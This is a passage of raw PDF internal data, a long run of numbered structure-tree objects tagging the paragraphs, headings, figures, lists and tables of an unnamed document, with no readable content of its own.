R +/S /H2 +/Type /StructElem +>> +endobj +533 0 obj +<< +/K [10] +/P 85 0 R +/Pg 13 0 R +/S /P +/Type /StructElem +>> +endobj +534 0 obj +<< +/K [11] +/P 85 0 R +/Pg 13 0 R +/S /P +/Type /StructElem +>> +endobj +535 0 obj +<< +/K [12] +/P 85 0 R +/Pg 13 0 R +/S /P +/Type /StructElem +>> +endobj +536 0 obj +<< +/K [13] +/P 85 0 R +/Pg 13 0 R +/S /P +/Type /StructElem +>> +endobj +537 0 obj +<< +/K [14] +/P 85 0 R +/Pg 13 0 R +/S /P +/Type /StructElem +>> +endobj +538 0 obj +<< +/K [15] +/P 85 0 R +/Pg 13 0 R +/S /P +/Type /StructElem +>> +endobj +539 0 obj +<< +/K [17] +/P 85 0 R +/Pg 13 0 R +/S /Figure +/Type /StructElem +>> +endobj +540 0 obj +<< +/K [16] +/P 85 0 R +/Pg 13 0 R +/S /P +/Type /StructElem +>> +endobj +541 0 obj +<< +/K [0] +/P 85 0 R +/Pg 14 0 R +/S /P +/Type /StructElem +>> +endobj +542 0 obj +<< +/K [1] +/P 85 0 R +/Pg 14 0 R +/S /P +/Type /StructElem +>> +endobj +543 0 obj +<< +/A 4176 0 R +/K [4177 0 R 4178 0 R 4179 0 R 4180 0 R 4181 0 R] +/P 85 0 R +/Pg 14 0 R +/S /L +/Type /StructElem +>> +endobj +544 0 obj +<< +/K [7] +/P 85 0 R +/Pg 14 0 R +/S /P +/Type /StructElem +>> +endobj +545 0 obj +<< +/K [8] +/P 85 0 R +/Pg 14 0 R +/S /P +/Type /StructElem +>> +endobj +546 0 obj +<< +/K [9] +/P 85 0 R +/Pg 14 0 R +/S /P +/Type /StructElem +>> +endobj +547 0 obj +<< +/K [10] +/P 85 0 R +/Pg 14 0 R +/S /P +/Type /StructElem +>> +endobj +548 0 obj +<< +/A 4182 0 R +/K [4183 0 R 4184 0 R 4185 0 R 4186 0 R] +/P 85 0 R +/Pg 14 0 R +/S /L +/Type /StructElem +>> +endobj +549 0 obj +<< +/K [15] +/P 85 0 R +/Pg 14 0 R +/S /P +/Type /StructElem +>> +endobj +550 0 obj +<< +/K [1472 0 R 1475 0 R 1474 0 R] +/P 85 0 R +/Pg 14 0 R +/S /P +/Type /StructElem +>> +endobj +551 0 obj +<< +/K [19] +/P 85 0 R +/Pg 14 0 R +/S /P +/Type /StructElem +>> +endobj +552 0 obj +<< +/K [0] +/P 85 0 R +/Pg 15 0 R +/S /H2 +/Type /StructElem +>> +endobj +553 0 obj +<< +/K [1] +/P 85 0 R +/Pg 15 0 R +/S /P +/Type /StructElem +>> +endobj +554 0 obj +<< +/K [2] +/P 85 0 R +/Pg 15 0 R +/S /P +/Type /StructElem +>> +endobj +555 0 obj +<< +/K [3] +/P 85 0 R +/Pg 15 0 R +/S /P +/Type /StructElem +>> +endobj +556 0 obj +<< +/K [4] +/P 85 0 R +/Pg 15 0 R +/S /P +/Type /StructElem +>> +endobj +557 0 obj +<< +/K [5] +/P 85 0 R +/Pg 15 0 R +/S /P +/Type /StructElem +>> +endobj +558 0 obj +<< +/K [6] +/P 85 0 R +/Pg 15 0 R +/S /P +/Type /StructElem +>> +endobj +559 0 obj +<< +/K [7] +/P 85 0 R +/Pg 15 0 R +/S /P +/Type /StructElem +>> +endobj +560 0 obj +<< +/K [1476 0 R 1520 0 R 1478 0 R] +/P 85 0 R +/Pg 15 0 R +/S /P +/Type /StructElem +>> +endobj +561 0 obj +<< +/K [11] +/P 85 0 R +/Pg 15 0 R +/S /P +/Type /StructElem +>> +endobj +562 0 obj +<< +/K [12] +/P 85 0 R +/Pg 15 0 R +/S /H2 +/Type /StructElem +>> +endobj +563 0 obj +<< +/K [13] +/P 85 0 R +/Pg 15 0 R +/S /P +/Type /StructElem +>> +endobj +564 0 obj +<< +/K [14] +/P 85 0 R +/Pg 15 0 R +/S /P +/Type /StructElem +>> +endobj +565 0 obj +<< +/K [1479 0 R 1521 0 R 1481 0 R 1522 0 R 1483 0 R] +/P 85 0 R +/Pg 15 0 R +/S /P +/Type /StructElem +>> +endobj +566 0 obj +<< +/K [20] +/P 85 0 R +/Pg 15 0 R +/S /P +/Type /StructElem +>> +endobj +567 0 obj +<< +/K [21] +/P 85 0 R +/Pg 15 0 R +/S /H2 +/Type /StructElem +>> +endobj +568 0 obj +<< +/K [22] +/P 85 0 R +/Pg 15 0 R +/S /P +/Type /StructElem +>> +endobj +569 0 obj +<< +/K [4187 0 R 4188 0 R] +/P 85 0 R +/S /Table +/Type /StructElem +>> +endobj +570 0 obj +<< +/K [64] +/P 85 0 R +/Pg 15 0 R +/S /P +/Type /StructElem +>> +endobj +571 0 obj +<< +/K [4189 0 R 4190 0 R] +/P 85 0 R +/S /Table +/Type /StructElem +>> +endobj +572 0 obj +<< +/K [20] +/P 85 0 R +/Pg 16 0 R +/S /P +/Type /StructElem +>> +endobj +573 0 obj +<< +/K [21] +/P 85 0 R +/Pg 16 0 R +/S /P +/Type /StructElem +>> +endobj +574 0 obj +<< +/K [1547 0 R 1548 0 R 1549 0 R] +/P 85 0 R +/Pg 17 0 R +/S /H1 +/Type /StructElem +>> +endobj +575 0 obj +<< +/K [3] +/P 85 0 R +/Pg 17 0 R +/S /P +/Type /StructElem +>> +endobj +576 0 obj +<< +/K [4] +/P 85 0 R +/Pg 17 0 R +/S /H2 +/Type /StructElem +>> +endobj +577 0 obj +<< +/K [5] +/P 85 0 R +/Pg 17 0 R +/S /P +/Type /StructElem +>> +endobj +578 0 obj +<< +/K [6] +/P 85 0 R +/Pg 17 0 R +/S /P +/Type /StructElem +>> +endobj +579 0 obj +<< +/A 4191 0 R +/K [4192 0 R 4193 0 R] +/P 85 0 R +/Pg 17 0 R +/S /L +/Type /StructElem +>> +endobj +580 0 obj +<< +/K [9] +/P 85 0 R +/Pg 17 0 R +/S /P +/Type /StructElem +>> +endobj +581 0 obj +<< +/K [10] +/P 85 0 R +/Pg 17 0 R +/S /P +/Type /StructElem +>> +endobj +582 0 obj +<< +/K [11] +/P 85 0 R +/Pg 17 0 R +/S /P +/Type /StructElem +>> +endobj +583 0 obj +<< +/K [20] +/P 85 0 R +/Pg 17 0 R +/S /Figure +/Type /StructElem +>> +endobj +584 0 obj +<< +/K [12] +/P 85 0 R +/Pg 17 0 R +/S /P +/Type /StructElem +>> +endobj +585 0 obj +<< +/K [13] +/P 85 0 R +/Pg 17 0 R +/S /P +/Type /StructElem +>> +endobj +586 0 obj +<< +/K [14] +/P 85 0 R +/Pg 17 0 R +/S /H2 +/Type /StructElem +>> +endobj +587 0 obj +<< +/K [15] +/P 85 0 R +/Pg 17 0 R +/S /P +/Type /StructElem +>> +endobj +588 0 obj +<< +/K [16] +/P 85 0 R +/Pg 17 0 R +/S /P +/Type /StructElem +>> +endobj +589 0 obj +<< +/K [17] +/P 85 0 R +/Pg 17 0 R +/S /P +/Type /StructElem +>> +endobj +590 0 obj +<< +/K [18] +/P 85 0 R +/Pg 17 0 R +/S /P +/Type /StructElem +>> +endobj +591 0 obj +<< +/K [19] +/P 85 0 R +/Pg 17 0 R +/S /P +/Type /StructElem +>> +endobj +592 0 obj +<< +/K [0] +/P 85 0 R +/Pg 18 0 R +/S /P +/Type /StructElem +>> +endobj +593 0 obj +<< +/K [1] +/P 85 0 R +/Pg 18 0 R +/S /P +/Type /StructElem +>> +endobj +594 0 obj +<< +/K [2] +/P 85 0 R +/Pg 18 0 R +/S /H2 +/Type /StructElem +>> +endobj +595 0 obj +<< +/K [3] +/P 85 0 R +/Pg 18 0 R +/S /P +/Type /StructElem +>> +endobj +596 0 obj +<< +/K [4] +/P 85 0 R +/Pg 18 0 R +/S /P +/Type /StructElem +>> +endobj +597 0 obj +<< +/K [1552 0 R 1555 0 R 1554 0 R] +/P 85 0 R +/Pg 18 0 R +/S /P +/Type /StructElem +>> +endobj +598 0 obj +<< +/K [8] +/P 85 0 R +/Pg 18 0 R +/S /P +/Type /StructElem +>> +endobj +599 0 obj +<< +/K [9] +/P 85 0 R +/Pg 18 0 R +/S /P +/Type /StructElem +>> +endobj +600 0 obj +<< +/K [10] +/P 85 0 R +/Pg 18 0 R +/S /P +/Type /StructElem +>> +endobj +601 0 obj +<< +/K [11] +/P 85 0 R +/Pg 18 0 R +/S /H2 +/Type /StructElem +>> +endobj +602 0 obj +<< +/K [12] +/P 85 0 R +/Pg 18 0 R +/S /P +/Type /StructElem +>> +endobj +603 0 obj +<< +/K [13] +/P 85 0 R +/Pg 18 0 R +/S /P +/Type /StructElem +>> +endobj +604 0 obj +<< +/K [14] +/P 85 0 R +/Pg 18 0 R +/S /P +/Type /StructElem +>> +endobj +605 0 obj +<< +/K [15] +/P 85 0 R +/Pg 18 0 R +/S /H2 +/Type /StructElem +>> +endobj +606 0 obj +<< +/K [16] +/P 85 0 R +/Pg 18 0 R +/S /P +/Type /StructElem +>> +endobj +607 0 obj +<< +/K [17] +/P 85 0 R +/Pg 18 0 R +/S /P +/Type /StructElem +>> +endobj +608 0 obj +<< +/K [18] +/P 85 0 R +/Pg 18 0 R +/S /P +/Type /StructElem +>> +endobj +609 0 obj +<< +/K [19] +/P 85 0 R +/Pg 18 0 R +/S /H2 +/Type /StructElem +>> +endobj +610 0 obj +<< +/K [20] +/P 85 0 R +/Pg 18 0 R +/S /P +/Type /StructElem +>> +endobj +611 0 obj +<< +/K [21] +/P 85 0 R +/Pg 18 0 R +/S /P +/Type /StructElem +>> +endobj +612 0 obj +<< +/K [0] +/P 85 0 R +/Pg 19 0 R +/S /P +/Type /StructElem +>> +endobj +613 0 obj +<< +/K [24] +/P 85 0 R +/Pg 19 0 R +/S /Figure +/Type /StructElem +>> +endobj +614 0 obj +<< +/K [1] +/P 85 0 R +/Pg 19 0 R +/S /P +/Type /StructElem +>> +endobj +615 0 obj +<< +/K [2] +/P 85 0 R +/Pg 19 0 R +/S /P +/Type /StructElem +>> +endobj +616 0 obj +<< +/K [3] +/P 85 0 R +/Pg 19 0 R +/S /H2 +/Type /StructElem +>> +endobj +617 0 obj +<< +/K [4] +/P 85 0 R +/Pg 19 0 R +/S /P +/Type /StructElem +>> +endobj +618 0 obj +<< +/K [5] +/P 85 0 R +/Pg 19 0 R +/S /P +/Type /StructElem +>> +endobj +619 0 obj +<< +/K [6] +/P 85 0 R +/Pg 19 0 R +/S /P +/Type /StructElem +>> +endobj +620 0 obj +<< +/K [7] +/P 85 0 R +/Pg 19 0 R +/S /H2 +/Type /StructElem +>> +endobj +621 0 obj +<< +/K [8] +/P 85 0 R +/Pg 19 0 R +/S /P +/Type /StructElem +>> +endobj +622 0 obj +<< +/K [9] +/P 85 0 R +/Pg 19 0 R +/S /P +/Type /StructElem +>> +endobj +623 0 obj +<< +/K [10] +/P 85 0 R +/Pg 19 0 R +/S /P +/Type /StructElem +>> +endobj +624 0 obj +<< +/K [11] +/P 85 0 R +/Pg 19 0 R +/S /H2 +/Type /StructElem +>> +endobj +625 0 obj +<< +/K [12] +/P 85 0 R +/Pg 19 0 R +/S /P +/Type /StructElem +>> +endobj +626 0 obj +<< +/K [1556 0 R 1559 0 R 1558 0 R] +/P 85 0 R +/Pg 19 0 R +/S /P +/Type /StructElem +>> +endobj +627 0 obj +<< +/K [16] +/P 85 0 R +/Pg 19 0 R +/S /P +/Type /StructElem +>> +endobj +628 0 obj +<< +/K [17] +/P 85 0 R +/Pg 19 0 R +/S /H2 +/Type /StructElem +>> +endobj +629 0 obj +<< +/K [18] +/P 85 0 R +/Pg 19 0 R +/S /P +/Type /StructElem +>> +endobj +630 0 obj +<< +/K [19] +/P 85 0 R +/Pg 19 0 R +/S /P +/Type /StructElem +>> +endobj +631 0 obj +<< +/K [20] +/P 85 0 R +/Pg 19 0 R +/S /P +/Type /StructElem +>> +endobj +632 0 obj +<< +/K [21] +/P 85 0 R +/Pg 19 0 R +/S /H2 +/Type /StructElem +>> +endobj +633 0 obj +<< +/K [22] +/P 85 0 R +/Pg 19 0 R +/S /P +/Type /StructElem +>> +endobj +634 0 obj +<< +/K [23] +/P 85 0 R +/Pg 19 0 R +/S /P +/Type /StructElem +>> +endobj +635 0 obj +<< +/K [0] +/P 85 0 R +/Pg 20 0 R +/S /P +/Type /StructElem +>> +endobj +636 0 obj +<< +/K [1560 0 R 1571 0 R 1562 0 R] +/P 85 0 R +/Pg 20 0 R +/S /P +/Type /StructElem +>> +endobj +637 0 obj +<< +/K [1563 0 R 1572 0 R 1565 0 R] +/P 85 0 R +/Pg 20 0 R +/S /P +/Type /StructElem +>> +endobj +638 0 obj +<< +/K [7] +/P 85 0 R +/Pg 20 0 R +/S /P +/Type /StructElem +>> +endobj +639 0 obj +<< +/K [8] +/P 85 0 R +/Pg 20 0 R +/S /H2 +/Type /StructElem +>> +endobj +640 0 obj +<< +/K [9] +/P 85 0 R +/Pg 20 0 R +/S /P +/Type /StructElem +>> +endobj +641 0 obj +<< +/K [10] +/P 85 0 R +/Pg 20 0 R +/S /P +/Type /StructElem +>> +endobj +642 0 obj +<< +/K [11] +/P 85 0 R +/Pg 20 0 R +/S /P +/Type /StructElem +>> +endobj +643 0 obj +<< +/K [12] +/P 85 0 R +/Pg 20 0 R +/S /H3 +/Type /StructElem +>> +endobj +644 0 obj +<< +/K [13] +/P 85 0 R +/Pg 20 0 R +/S /P +/Type /StructElem +>> +endobj +645 0 obj +<< +/K [1566 0 R 1573 0 R 1568 0 R 1574 0 R 1570 0 R] +/P 85 0 R +/Pg 20 0 R +/S /P +/Type /StructElem +>> +endobj +646 0 obj +<< +/K [19] +/P 85 0 R +/Pg 20 0 R +/S /P +/Type /StructElem +>> +endobj +647 0 obj +<< +/K [20] +/P 85 0 R +/Pg 20 0 R +/S /H3 +/Type /StructElem +>> +endobj +648 0 obj +<< +/K [21] +/P 85 0 R +/Pg 20 0 R +/S /P +/Type /StructElem +>> +endobj +649 0 obj +<< +/K [22] +/P 85 0 R +/Pg 20 0 R +/S /P +/Type /StructElem +>> +endobj +650 0 obj +<< +/K [23] +/P 85 0 R +/Pg 20 0 R +/S /P +/Type /StructElem +>> +endobj +651 0 obj +<< +/K [1575 0 R 1576 0 R 1577 0 R] +/P 85 0 R +/Pg 21 0 R +/S /H1 +/Type /StructElem +>> +endobj +652 0 obj +<< +/K [3] +/P 85 0 R +/Pg 21 0 R +/S /P +/Type /StructElem +>> +endobj +653 0 obj +<< +/K [4] +/P 85 0 R +/Pg 21 0 R +/S /H2 +/Type /StructElem +>> +endobj +654 0 obj +<< +/K [5] +/P 85 0 R +/Pg 21 0 R +/S /P +/Type /StructElem +>> +endobj +655 0 obj +<< +/K [6] +/P 85 0 R +/Pg 21 0 R +/S /P +/Type /StructElem +>> +endobj +656 0 obj +<< +/A 4194 0 R +/K [4195 0 R 4196 0 R 4197 0 R] +/P 85 0 R +/Pg 21 0 R +/S /L +/Type /StructElem +>> +endobj +657 0 obj +<< +/K [10] +/P 85 0 R +/Pg 21 0 R +/S /P +/Type /StructElem +>> +endobj +658 0 obj +<< +/A 4198 0 R +/K [4199 0 R 4200 0 R 4201 0 R 4202 0 R 4203 0 R 4204 0 R 4205 0 R 4206 0 R 4207 0 R 4208 0 R +4209 0 R] +/P 85 0 R +/Pg 21 0 R +/S /L +/Type /StructElem +>> +endobj +659 0 obj +<< +/K [46] +/P 85 0 R +/Pg 21 0 R +/S /P +/Type /StructElem +>> +endobj +660 0 obj +<< +/K [0] +/P 85 0 R +/Pg 22 0 R +/S /H2 +/Type /StructElem +>> +endobj +661 0 obj +<< +/K [1] +/P 85 0 R +/Pg 22 0 R +/S /P +/Type /StructElem +>> +endobj +662 0 obj +<< +/K [1625 0 R 1628 0 R 1627 0 R] +/P 85 0 R +/Pg 22 0 R +/S /P +/Type /StructElem +>> +endobj +663 0 obj +<< +/K [5] +/P 85 0 R +/Pg 22 0 R +/S /P +/Type /StructElem +>> +endobj +664 0 obj +<< +/K [6] +/P 85 0 R +/Pg 22 0 R +/S /H2 +/Type /StructElem +>> +endobj +665 0 obj +<< +/K [7] +/P 85 0 R +/Pg 22 0 R +/S /P +/Type /StructElem +>> +endobj +666 0 obj +<< +/K [8] +/P 85 0 R +/Pg 22 0 R +/S /P +/Type /StructElem +>> +endobj +667 0 obj +<< +/K [9] +/P 85 0 R +/Pg 22 0 R +/S /P +/Type /StructElem +>> +endobj +668 0 obj +<< +/K [10] +/P 85 0 R +/Pg 22 0 R +/S /P +/Type /StructElem +>> +endobj +669 0 obj +<< +/K [11] +/P 85 0 R +/Pg 22 0 R +/S /H2 +/Type /StructElem +>> +endobj +670 0 obj +<< +/K [12] +/P 85 0 R +/Pg 22 0 R +/S /P +/Type /StructElem +>> +endobj +671 0 obj +<< +/K [13] +/P 85 0 R +/Pg 22 0 R +/S /P +/Type /StructElem +>> +endobj +672 0 obj +<< +/K [14] +/P 85 0 R +/Pg 22 0 R +/S /P +/Type /StructElem +>> +endobj +673 0 obj +<< +/K [15] +/P 85 0 R +/Pg 22 0 R +/S /P +/Type /StructElem +>> +endobj +674 0 obj +<< +/K [16] +/P 85 0 R +/Pg 22 0 R +/S /P +/Type /StructElem +>> +endobj +675 0 obj +<< +/K [17] +/P 85 0 R +/Pg 22 0 R +/S /P +/Type /StructElem +>> +endobj +676 0 obj +<< +/K [18] +/P 85 0 R +/Pg 22 0 R +/S /P +/Type /StructElem +>> +endobj +677 0 obj +<< +/K [19] +/P 85 0 R +/Pg 22 0 R +/S /P +/Type /StructElem +>> +endobj +678 0 obj +<< +/K [0] +/P 85 0 R +/Pg 23 0 R +/S /H2 +/Type /StructElem +>> +endobj +679 0 obj +<< +/K [1] +/P 85 0 R +/Pg 23 0 R +/S /P +/Type /StructElem +>> +endobj +680 0 obj +<< +/K [2] +/P 85 0 R +/Pg 23 0 R +/S /P +/Type /StructElem +>> +endobj +681 0 obj +<< +/K [3] +/P 85 0 R +/Pg 23 0 R +/S /P +/Type /StructElem +>> +endobj +682 0 obj +<< +/K [21] +/P 85 0 R +/Pg 23 0 R +/S /Figure +/Type /StructElem +>> +endobj +683 0 obj +<< +/K [4] +/P 85 0 R +/Pg 23 0 R +/S /P +/Type /StructElem +>> +endobj +684 0 obj +<< +/K [1629 0 R 1632 0 R 1631 0 R] +/P 85 0 R +/Pg 23 0 R +/S /P +/Type /StructElem +>> +endobj +685 0 obj +<< +/K [8] +/P 85 0 R +/Pg 23 0 R +/S /P +/Type /StructElem +>> +endobj +686 0 obj +<< +/K [9] +/P 85 0 R +/Pg 23 0 R +/S /H3 +/Type /StructElem +>> +endobj +687 0 obj +<< +/K [10] +/P 85 0 R +/Pg 23 0 R +/S /P +/Type /StructElem +>> +endobj +688 0 obj +<< +/K [11] +/P 85 0 R +/Pg 23 0 R +/S /P +/Type /StructElem +>> +endobj +689 0 obj +<< +/K [12] +/P 85 0 R +/Pg 23 0 R +/S /P +/Type /StructElem +>> +endobj +690 0 obj +<< +/K [13] +/P 85 0 R +/Pg 23 0 R +/S /H3 +/Type /StructElem +>> +endobj +691 0 obj +<< +/K [14] +/P 85 0 R +/Pg 23 0 R +/S /P +/Type /StructElem +>> +endobj +692 0 obj +<< +/K [15] +/P 85 0 R +/Pg 23 0 R +/S /P +/Type /StructElem +>> +endobj +693 0 obj +<< +/K [16] +/P 85 0 R +/Pg 23 0 R +/S /P +/Type /StructElem +>> +endobj +694 0 obj +<< +/K [17] +/P 85 0 R +/Pg 23 0 R +/S /H3 +/Type /StructElem +>> +endobj +695 0 obj +<< +/K [18] +/P 85 0 R +/Pg 23 0 R +/S /P +/Type /StructElem +>> +endobj +696 0 obj +<< +/K [19] +/P 85 0 R +/Pg 23 0 R +/S /P +/Type /StructElem +>> +endobj +697 0 obj +<< +/K [20] +/P 85 0 R +/Pg 23 0 R +/S /P +/Type /StructElem +>> +endobj +698 0 obj +<< +/K [0] +/P 85 0 R +/Pg 24 0 R +/S /P +/Type /StructElem +>> +endobj +699 0 obj +<< +/K [1633 0 R 1643 0 R 1635 0 R] +/P 85 0 R +/Pg 24 0 R +/S /P +/Type /StructElem +>> +endobj +700 0 obj +<< +/K [4] +/P 85 0 R +/Pg 24 0 R +/S /P +/Type /StructElem +>> +endobj +701 0 obj +<< +/K [19] +/P 85 0 R +/Pg 24 0 R +/S /Figure +/Type /StructElem +>> +endobj +702 0 obj +<< +/K [5] +/P 85 0 R +/Pg 24 0 R +/S /P +/Type /StructElem +>> +endobj +703 0 obj +<< +/K [6] +/P 85 0 R +/Pg 24 0 R +/S /P +/Type /StructElem +>> +endobj +704 0 obj +<< +/K [7] +/P 85 0 R +/Pg 24 0 R +/S /H3 +/Type /StructElem +>> +endobj +705 0 obj +<< +/K [8] +/P 85 0 R +/Pg 24 0 R +/S /P +/Type /StructElem +>> +endobj +706 0 obj +<< +/K [9] +/P 85 0 R +/Pg 24 0 R +/S /P +/Type /StructElem +>> +endobj +707 0 obj +<< +/K [4210 0 R 4211 0 R] +/P 85 0 R +/S /Table +/Type /StructElem +>> +endobj +708 0 obj +<< +/K [4212 0 R 4213 0 R] +/P 85 0 R +/S /Table +/Type /StructElem +>> +endobj +709 0 obj +<< +/K [20] +/P 85 0 R +/Pg 25 0 R +/S /P +/Type /StructElem +>> +endobj +710 0 obj +<< +/K [21] +/P 85 0 R +/Pg 25 0 R +/S /P +/Type /StructElem +>> +endobj +711 0 obj +<< +/K [1662 0 R 1667 0 R 1664 0 R] +/P 85 0 R +/Pg 25 0 R +/S /P +/Type /StructElem +>> +endobj +712 0 obj +<< +/K [0] +/P 85 0 R +/Pg 26 0 R +/S /P +/Type /StructElem +>> +endobj +713 0 obj +<< +/K [1671 0 R 1670 0 R] +/P 85 0 R +/Pg 26 0 R +/S /Textbox +/Type /StructElem +>> +endobj +714 0 obj +<< +/K [1669 0 R 1668 0 R] +/P 85 0 R +/Pg 26 0 R +/S /Textbox +/Type /StructElem +>> +endobj +715 0 obj +<< +/K [11] +/P 85 0 R +/Pg 26 0 R +/S /Figure +/Type /StructElem +>> +endobj +716 0 obj +<< +/K [1] +/P 85 0 R +/Pg 26 0 R +/S /P +/Type /StructElem +>> +endobj +717 0 obj +<< +/K [2] +/P 85 0 R +/Pg 26 0 R +/S /H3 +/Type /StructElem +>> +endobj +718 0 obj +<< +/K [3] +/P 85 0 R +/Pg 26 0 R +/S /P +/Type /StructElem +>> +endobj +719 0 obj +<< +/K [4] +/P 85 0 R +/Pg 26 0 R +/S /P +/Type /StructElem +>> +endobj +720 0 obj +<< +/K [5] +/P 85 0 R +/Pg 26 0 R +/S /P +/Type /StructElem +>> +endobj +721 0 obj +<< +/K [6] +/P 85 0 R +/Pg 26 0 R +/S /P +/Type /StructElem +>> +endobj +722 0 obj +<< +/K [7] +/P 85 0 R +/Pg 26 0 R +/S /P +/Type /StructElem +>> +endobj +723 0 obj +<< +/K [8] +/P 85 0 R +/Pg 26 0 R +/S /P +/Type /StructElem +>> +endobj +724 0 obj +<< +/K [9] +/P 85 0 R +/Pg 26 0 R +/S /P +/Type /StructElem +>> +endobj +725 0 obj +<< +/K [10] +/P 85 0 R +/Pg 26 0 R +/S /P +/Type /StructElem +>> +endobj +726 0 obj +<< +/K [0] +/P 85 0 R +/Pg 27 0 R +/S /H2 +/Type /StructElem +>> +endobj +727 0 obj +<< +/K [1] +/P 85 0 R +/Pg 27 0 R +/S /P +/Type /StructElem +>> +endobj +728 0 obj +<< +/K [2] +/P 85 0 R +/Pg 27 0 R +/S /P +/Type /StructElem +>> +endobj +729 0 obj +<< +/K [1672 0 R 1675 0 R 1674 0 R] +/P 85 0 R +/Pg 27 0 R +/S /P +/Type /StructElem +>> +endobj +730 0 obj +<< +/K [6] +/P 85 0 R +/Pg 27 0 R +/S /P +/Type /StructElem +>> +endobj +731 0 obj +<< +/K [16] +/P 85 0 R +/Pg 27 0 R +/S /Figure +/Type /StructElem +>> +endobj +732 0 obj +<< +/K [7] +/P 85 0 R +/Pg 27 0 R +/S /P +/Type /StructElem +>> +endobj +733 0 obj +<< +/K [8] +/P 85 0 R +/Pg 27 0 R +/S /H3 +/Type /StructElem +>> +endobj +734 0 obj +<< +/K [9] +/P 85 0 R +/Pg 27 0 R +/S /P +/Type /StructElem +>> +endobj +735 0 obj +<< +/K [10] +/P 85 0 R +/Pg 27 0 R +/S /P +/Type /StructElem +>> +endobj +736 0 obj +<< +/K [11] +/P 85 0 R +/Pg 27 0 R +/S /P +/Type /StructElem +>> +endobj +737 0 obj +<< +/K [12] +/P 85 0 R +/Pg 27 0 R +/S /H3 +/Type /StructElem +>> +endobj +738 0 obj +<< +/K [13] +/P 85 0 R +/Pg 27 0 R +/S /P +/Type /StructElem +>> +endobj +739 0 obj +<< +/K [14] +/P 85 0 R +/Pg 27 0 R +/S /P +/Type /StructElem +>> +endobj +740 0 obj +<< +/K [15] +/P 85 0 R +/Pg 27 0 R +/S /P +/Type /StructElem +>> +endobj +741 0 obj +<< +/K [4214 0 R 4215 0 R] +/P 85 0 R +/S /Table +/Type /StructElem +>> +endobj +742 0 obj +<< +/K [23] +/P 85 0 R +/Pg 28 0 R +/S /P +/Type /StructElem +>> +endobj +743 0 obj +<< +/K [24] +/P 85 0 R +/Pg 28 0 R +/S /P +/Type /StructElem +>> +endobj +744 0 obj +<< +/K [1697 0 R 1702 0 R 1699 0 R] +/P 85 0 R +/Pg 28 0 R +/S /P +/Type /StructElem +>> +endobj +745 0 obj +<< +/K [0] +/P 85 0 R +/Pg 29 0 R +/S /P +/Type /StructElem +>> +endobj +746 0 obj +<< +/K [17] +/P 85 0 R +/Pg 29 0 R +/S /Figure +/Type /StructElem +>> +endobj +747 0 obj +<< +/K [1] +/P 85 0 R +/Pg 29 0 R +/S /P +/Type /StructElem +>> +endobj +748 0 obj +<< +/K [2] +/P 85 0 R +/Pg 29 0 R +/S /P +/Type /StructElem +>> +endobj +749 0 obj +<< +/A 4216 0 R +/K [4217 0 R 4218 0 R] +/P 85 0 R +/Pg 29 0 R +/S /L +/Type /StructElem +>> +endobj +750 0 obj +<< +/K [7] +/P 85 0 R +/Pg 29 0 R +/S /P +/Type /StructElem +>> +endobj +751 0 obj +<< +/K [8] +/P 85 0 R +/Pg 29 0 R +/S /H3 +/Type /StructElem +>> +endobj +752 0 obj +<< +/K [9] +/P 85 0 R +/Pg 29 0 R +/S /P +/Type /StructElem +>> +endobj +753 0 obj +<< +/K [10] +/P 85 0 R +/Pg 29 0 R +/S /P +/Type /StructElem +>> +endobj +754 0 obj +<< +/K [11] +/P 85 0 R +/Pg 29 0 R +/S /P +/Type /StructElem +>> +endobj +755 0 obj +<< +/K [12] +/P 85 0 R +/Pg 29 0 R +/S /P +/Type /StructElem +>> +endobj +756 0 obj +<< +/K [1705 0 R 1708 0 R 1707 0 R] +/P 85 0 R +/Pg 29 0 R +/S /P +/Type /StructElem +>> +endobj +757 0 obj +<< +/K [16] +/P 85 0 R +/Pg 29 0 R +/S /P +/Type /StructElem +>> +endobj +758 0 obj +<< +/K [0] +/P 85 0 R +/Pg 30 0 R +/S /H3 +/Type /StructElem +>> +endobj +759 0 obj +<< +/K [1] +/P 85 0 R +/Pg 30 0 R +/S /P +/Type /StructElem +>> +endobj +760 0 obj +<< +/K [2] +/P 85 0 R +/Pg 30 0 R +/S /P +/Type /StructElem +>> +endobj +761 0 obj +<< +/K [3] +/P 85 0 R +/Pg 30 0 R +/S /P +/Type /StructElem +>> +endobj +762 0 obj +<< +/K [12] +/P 85 0 R +/Pg 30 0 R +/S /Figure +/Type /StructElem +>> +endobj +763 0 obj +<< +/K [4] +/P 85 0 R +/Pg 30 0 R +/S /P +/Type /StructElem +>> +endobj +764 0 obj +<< +/K [5] +/P 85 0 R +/Pg 30 0 R +/S /H2 +/Type /StructElem +>> +endobj +765 0 obj +<< +/K [6] +/P 85 0 R +/Pg 30 0 R +/S /P +/Type /StructElem +>> +endobj +766 0 obj +<< +/K [7] +/P 85 0 R +/Pg 30 0 R +/S /P +/Type /StructElem +>> +endobj +767 0 obj +<< +/K [8 9 10] +/P 85 0 R +/Pg 30 0 R +/S /P +/Type /StructElem +>> +endobj +768 0 obj +<< +/K [11] +/P 85 0 R +/Pg 30 0 R +/S /P +/Type /StructElem +>> +endobj +769 0 obj +<< +/K [1709 0 R 1710 0 R 1711 0 R] +/P 85 0 R +/Pg 31 0 R +/S /H1 +/Type /StructElem +>> +endobj +770 0 obj +<< +/K [3] +/P 85 0 R +/Pg 31 0 R +/S /P +/Type /StructElem +>> +endobj +771 0 obj +<< +/K [4] +/P 85 0 R +/Pg 31 0 R +/S /H2 +/Type /StructElem +>> +endobj +772 0 obj +<< +/K [5] +/P 85 0 R +/Pg 31 0 R +/S /P +/Type /StructElem +>> +endobj +773 0 obj +<< +/K [6] +/P 85 0 R +/Pg 31 0 R +/S /H3 +/Type /StructElem +>> +endobj +774 0 obj +<< +/K [7] +/P 85 0 R +/Pg 31 0 R +/S /P +/Type /StructElem +>> +endobj +775 0 obj +<< +/K [1712 0 R 1732 0 R 1714 0 R] +/P 85 0 R +/Pg 31 0 R +/S /P +/Type /StructElem +>> +endobj +776 0 obj +<< +/K [11] +/P 85 0 R +/Pg 31 0 R +/S /P +/Type /StructElem +>> +endobj +777 0 obj +<< +/K [12] +/P 85 0 R +/Pg 31 0 R +/S /H3 +/Type /StructElem +>> +endobj +778 0 obj +<< +/K [13] +/P 85 0 R +/Pg 31 0 R +/S /P +/Type /StructElem +>> +endobj +779 0 obj +<< +/K [1715 0 R 1733 0 R 1717 0 R 1734 0 R 1719 0 R] +/P 85 0 R +/Pg 31 0 R +/S /P +/Type /StructElem +>> +endobj +780 0 obj +<< +/K [4219 0 R 4220 0 R] +/P 85 0 R +/S /Table +/Type /StructElem +>> +endobj +781 0 obj +<< +/K [33] +/P 85 0 R +/Pg 31 0 R 